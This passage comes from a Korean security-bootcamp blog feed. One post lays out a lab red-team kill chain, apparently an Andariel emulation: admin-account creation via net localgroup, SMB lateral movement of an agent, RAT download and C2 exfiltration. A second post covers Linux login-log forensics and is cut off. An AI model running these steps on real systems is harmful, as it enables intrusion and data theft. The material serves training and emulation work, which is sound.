&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;20,2,2&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Windows 기능 켜기/끄기: SMB 1.0/CIFS 체크.&lt;/li&gt;
&lt;li&gt;공유 폴더 생성: C:\share 생성 후 Everyone에게 모든 권한 부여.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-path-to-node=&quot;20,2,1&quot;&gt;&lt;span data-path-to-node=&quot;20,2,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;SMB 환경 구성&lt;/span&gt;&lt;/b&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;20,2,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwik1snDqsORAxUAAAAAHQAAAAAQlAI&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;# 계정 생성 및 관리자 그룹 추가
net localgroup administrators redadmin /add
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li data-path-to-node=&quot;20,3,1&quot;&gt;&lt;span data-path-to-node=&quot;20,3,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;Lateral Movement용 관리자 계정 생성&lt;/span&gt;&lt;/b&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;20,3,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-path-to-node=&quot;21&quot; data-ke-size=&quot;size23&quot;&gt;  Linux Target 설정 (검증)&lt;/h3&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwik1snDqsORAxUAAAAAHQAAAAAQlQI&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;clean&quot;&gt;&lt;code&gt;smbclient //WINDOWS_IP/share -U redadmin
# 접속 성공 시 &quot;smb: \&amp;gt;&quot; 프롬프트 확인
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;22&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-path-to-node=&quot;22,0,1&quot;&gt;&lt;span data-path-to-node=&quot;22,0,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;SMB 접속 테스트:&lt;/span&gt;&lt;/b&gt;&lt;span&gt; Linux 웹 서버에서 Windows 공유 폴더 접근이 가능한지 사전 확인 필수&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;22,0,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;22,0,1,2&quot;&gt;.&lt;/span&gt;&lt;span data-path-to-node=&quot;22,0,1,2&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1692&quot; data-origin-height=&quot;518&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpxzRt/dJMcad1ABMp/5kTH5712jgGFNV758XxfwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpxzRt/dJMcad1ABMp/5kTH5712jgGFNV758XxfwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpxzRt/dJMcad1ABMp/5kTH5712jgGFNV758XxfwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpxzRt%2FdJMcad1ABMp%2F5kTH5712jgGFNV758XxfwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1692&quot; height=&quot;518&quot; data-origin-width=&quot;1692&quot; data-origin-height=&quot;518&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-path-to-node=&quot;23&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;24&quot; data-ke-size=&quot;size26&quot;&gt;3. ⚔️ 최종 공격 시나리오 (Kill Chain)&lt;/h2&gt;
&lt;p data-path-to-node=&quot;25&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span data-path-to-node=&quot;25,0&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;25,1&quot;&gt;&lt;span&gt;트러블슈팅 완료 후 재정립된 최종 공격 순서입니다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;25,2&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;25,3&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;26&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Step 1: Initial Access (Linux)&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;762&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/V9a4D/dJMcaiIBPgX/OW1Gyn9SyIL7XeBmwNb9cK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/V9a4D/dJMcaiIBPgX/OW1Gyn9SyIL7XeBmwNb9cK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/V9a4D/dJMcaiIBPgX/OW1Gyn9SyIL7XeBmwNb9cK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FV9a4D%2FdJMcaiIBPgX%2FOW1Gyn9SyIL7XeBmwNb9cK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;762&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;762&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;790&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/G9795/dJMcaaRn9tr/6mvvNQ5d5zDoblkVn3vLK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/G9795/dJMcaaRn9tr/6mvvNQ5d5zDoblkVn3vLK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/G9795/dJMcaaRn9tr/6mvvNQ5d5zDoblkVn3vLK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FG9795%2FdJMcaaRn9tr%2F6mvvNQ5d5zDoblkVn3vLK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;790&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;790&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;527&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pO9Mk/dJMcachmnD0/nEU7u1xjroBgYCsIpjqtFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pO9Mk/dJMcachmnD0/nEU7u1xjroBgYCsIpjqtFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pO9Mk/dJMcachmnD0/nEU7u1xjroBgYCsIpjqtFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpO9Mk%2FdJMcachmnD0%2FnEU7u1xjroBgYCsIpjqtFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;527&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;527&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;27&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Ability:&lt;/b&gt; Andariel - Initial Breach (Struts2 Sim)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Target:&lt;/b&gt; Linux Web Server&lt;/li&gt;
&lt;li&gt;&lt;b&gt;내용:&lt;/b&gt; 취약점을 이용해 초기 거점 확보 및 RAT 다운로드/실행.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;28&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Step 2: Internal Recon (Linux)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;29&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Ability:&lt;/b&gt; Internal Network Recon&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Target:&lt;/b&gt; Linux Web Server&lt;/li&gt;
&lt;li&gt;&lt;b&gt;내용:&lt;/b&gt; 내부 네트워크 환경 정찰.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;30&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Step 3: Port Scan (Linux)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;31&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Ability:&lt;/b&gt; Andariel - Reliable Port Scan (Linux)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Target:&lt;/b&gt; Linux Web Server&lt;/li&gt;
&lt;li data-path-to-node=&quot;31,2,1&quot;&gt;&lt;span data-path-to-node=&quot;31,2,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;내용:&lt;/span&gt;&lt;/b&gt;&lt;span&gt; Windows 타겟(10.0.20.100)의 SMB(445) 포트 오픈 여부 스캔&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;31,2,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;31,2,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;32&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Step 4: SMB Auth Test (Linux)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;33&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Ability:&lt;/b&gt; SMB Auth Test (NEW)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Target:&lt;/b&gt; Linux Web Server&lt;/li&gt;
&lt;li&gt;&lt;b&gt;내용:&lt;/b&gt; 확보한 계정 정보(Credential)로 SMB 접속 권한 검증.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;34&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Step 5: Lateral Movement (Linux &amp;rarr; Windows)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;35&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Ability:&lt;/b&gt; Copy 54ndc47 (SMB)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Target:&lt;/b&gt; Linux Web Server &amp;rarr; Windows&lt;/li&gt;
&lt;li&gt;&lt;b&gt;내용:&lt;/b&gt; SMB를 통해 Windows 타겟으로 Payload(Agent) 전송 및 복제.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;36&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Step 6: Windows Execution&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;37&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Ability:&lt;/b&gt; Windows PowerShell Baseline Check &amp;amp; Payload&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Target:&lt;/b&gt; Windows Client&lt;/li&gt;
&lt;li&gt;&lt;b&gt;내용:&lt;/b&gt; PowerShell을 이용해 타겟 시스템 정보 확인 및 Agent 실행.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;38&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Step 7: Exfiltration (Windows)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;39&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Ability:&lt;/b&gt; C2 Data Exfiltration&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Target:&lt;/b&gt; Windows Client&lt;/li&gt;
&lt;li&gt;&lt;b&gt;내용:&lt;/b&gt; 중요 데이터를 C2 채널을 통해 유출.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>멀티캠퍼스IT부트캠프</category>
      <category>부트캠프후기</category>
      <category>토스뱅크사이버보안엔지니어부트캠프</category>
      <author>yejiamoe</author>
      <guid isPermaLink="true">https://yejiamoe.tistory.com/28</guid>
      <comments>https://yejiamoe.tistory.com/28#entry28comment</comments>
      <pubDate>Wed, 17 Dec 2025 09:31:59 +0900</pubDate>
    </item>
    <item>
      <title>[Linux] 시스템 로그 분석과 프로세스 포렌식 기초</title>
      <link>https://yejiamoe.tistory.com/27</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1110&quot; data-origin-height=&quot;382&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bycsjt/dJMcabQfyax/PQacdOE8Hu5WYJjFHFcaD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bycsjt/dJMcabQfyax/PQacdOE8Hu5WYJjFHFcaD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bycsjt/dJMcabQfyax/PQacdOE8Hu5WYJjFHFcaD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbycsjt%2FdJMcabQfyax%2FPQacdOE8Hu5WYJjFHFcaD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1110&quot; height=&quot;382&quot; data-origin-width=&quot;1110&quot; data-origin-height=&quot;382&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;오늘은 리눅스 시스템 관리와 보안의 핵심인 &lt;b&gt;접속 기록(Logging)&lt;/b&gt; 분석과 &lt;b&gt;프로세스 계층(Process Hierarchy)&lt;/b&gt; 구조에 대해 깊이 있게 공부했다. 서버를 운영하거나 보안 사고를 분석할 때, &quot;누가, 언제, 어디서 들어왔는가&quot;를 파악하고 &quot;현재 내 쉘이 어떤 권한으로 실행 중인가&quot;를 이해하는 것은 필수적이다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;오늘 실습한 주요 명령어와 분석 내용을 정리해 본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;619&quot; data-origin-height=&quot;413&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/69m5c/dJMcaacJKAq/WecFsGh0nezobUeQTQnZQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/69m5c/dJMcaacJKAq/WecFsGh0nezobUeQTQnZQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/69m5c/dJMcaacJKAq/WecFsGh0nezobUeQTQnZQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F69m5c%2FdJMcaacJKAq%2FWecFsGh0nezobUeQTQnZQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;619&quot; height=&quot;413&quot; data-origin-width=&quot;619&quot; data-origin-height=&quot;413&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;326&quot; data-origin-height=&quot;71&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nQozP/dJMcaacJKBf/U1w8uHoEfI2pHiDRdumqUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nQozP/dJMcaacJKBf/U1w8uHoEfI2pHiDRdumqUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nQozP/dJMcaacJKBf/U1w8uHoEfI2pHiDRdumqUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnQozP%2FdJMcaacJKBf%2FU1w8uHoEfI2pHiDRdumqUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;326&quot; height=&quot;71&quot; data-origin-width=&quot;326&quot; data-origin-height=&quot;71&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;326&quot; data-origin-height=&quot;71&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVvHzZ/dJMcabQfx9H/rkRKcEgOmH34J4FhK5XbqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVvHzZ/dJMcabQfx9H/rkRKcEgOmH34J4FhK5XbqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVvHzZ/dJMcabQfx9H/rkRKcEgOmH34J4FhK5XbqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVvHzZ%2FdJMcabQfx9H%2FrkRKcEgOmH34J4FhK5XbqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;326&quot; height=&quot;71&quot; data-origin-width=&quot;326&quot; data-origin-height=&quot;71&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;6&quot; data-ke-size=&quot;size23&quot;&gt;1. 시스템 접속 기록 분석: last&lt;/h3&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span data-path-to-node=&quot;7,0&quot;&gt;리눅스에서 가장 기본이 되는 로그 분석 도구는 last 명령어다. &lt;/span&gt;&lt;span data-path-to-node=&quot;7,1&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;7,2&quot;&gt;&lt;span&gt;이 명령어는 &lt;/span&gt;&lt;span&gt;/var/log/wtmp&lt;/span&gt;&lt;span&gt; 파일을 참조하여 사용자의 로그인, 재부팅, 로그아웃 기록을 보여준다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;7,3&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;7,4&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size16&quot;&gt;위의 last 명령어 실행 결과를 분석해보면 보안 및 시스템 안정성 측면에서 몇 가지 중요한 인사이트를 얻을 수 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span data-path-to-node=&quot;10,0,0,0&quot;&gt;&lt;b&gt;비정상 종료 (Crash) 탐지:&lt;/b&gt; &lt;/span&gt;&lt;span data-path-to-node=&quot;10,0,0,1&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,0,0,2&quot;&gt;&lt;span&gt;로그 중간중간에 &lt;/span&gt;&lt;span&gt;crash&lt;/span&gt;&lt;span&gt;라는 항목이 눈에 띈다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,0,0,3&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,0,0,4&quot;&gt;. &lt;/span&gt;&lt;span data-path-to-node=&quot;10,0,0,5&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,0,0,6&quot;&gt;&lt;span&gt;이는 시스템이 정상적으로 &lt;/span&gt;&lt;span&gt;logout&lt;/span&gt;&lt;span&gt; 하거나 &lt;/span&gt;&lt;span&gt;shutdown&lt;/span&gt;&lt;span&gt; 되지 않고, 전원이 갑자기 끊기거나 커널 패닉 등으로 강제 재부팅되었음을 의미한다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,0,0,7&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,0,0,8&quot;&gt;. &lt;/span&gt;&lt;span data-path-to-node=&quot;10,0,0,9&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,0,0,10&quot;&gt;&lt;span&gt;로그를 보면 &lt;/span&gt;&lt;span&gt;Mon Dec 1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;Tue Nov 11&lt;/span&gt;&lt;span&gt; 등에 반복적으로 시스템이 비정상 종료된 것을 확인할 수 있는데, 이는 서버 안정성에 문제가 있거나 가상머신을 강제로 껐을 때 주로 발생한다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,0,0,11&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,0,0,12&quot;&gt;.&lt;/span&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;접속 위치 식별 (Where):&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-path-to-node=&quot;10,1,1,0,1&quot;&gt;&lt;span data-path-to-node=&quot;10,1,1,0,1,0&quot;&gt;&lt;span&gt;tty2&lt;/span&gt;&lt;span&gt;: 서버 콘솔 앞에서 직접 로그인한 물리적 접근(Local)을 의미한다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,1,1,0,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,1,1,0,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li data-path-to-node=&quot;10,1,1,1,1&quot;&gt;&lt;span data-path-to-node=&quot;10,1,1,1,1,0&quot;&gt;&lt;span&gt;pts/1&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;192.168.56.100&lt;/span&gt;&lt;span&gt;과 같은 IP 주소가 찍혀 있는 경우, SSH 등을 통해 원격(Remote)에서 접속했음을 의미한다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,1,1,1,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,1,1,1,1,2&quot;&gt;. 만약 내가 접속하지 않은 시간에 낯선 IP로 접속한 기록이 있다면 침해 사고를 의심해야 한다&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span data-path-to-node=&quot;10,2,0,0&quot;&gt;&lt;b&gt;유령 계정 식별 (Who):&lt;/b&gt; &lt;/span&gt;&lt;span data-path-to-node=&quot;10,2,0,1&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,2,0,2&quot;&gt;&lt;span&gt;로그에 &lt;/span&gt;&lt;span&gt;testuser&lt;/span&gt;&lt;span&gt;라는 계정이 10월 31일에 접속한 기록이 남아있다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,2,0,3&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,2,0,4&quot;&gt;. &lt;/span&gt;&lt;span data-path-to-node=&quot;10,2,0,5&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,2,0,6&quot;&gt;&lt;span&gt;테스트 목적으로 생성했다가 삭제하지 않고 방치된 계정은 공격자의 거점이 될 수 있으므로, 사용이 끝났다면 즉시 삭제하여 '공격 표면(Attack Surface)'을 줄여야 한다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,2,0,7&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;10,2,0,8&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;496&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccPStN/dJMcahiDdoH/NKWB5hjLkwXajtq1jYWM50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccPStN/dJMcahiDdoH/NKWB5hjLkwXajtq1jYWM50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccPStN/dJMcahiDdoH/NKWB5hjLkwXajtq1jYWM50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccPStN%2FdJMcahiDdoH%2FNKWB5hjLkwXajtq1jYWM50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;767&quot; height=&quot;496&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;496&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;11&quot; data-ke-size=&quot;size23&quot;&gt;2. 계정 보안 감사: lastlog와 교차 검증&lt;/h3&gt;
&lt;p data-path-to-node=&quot;12&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
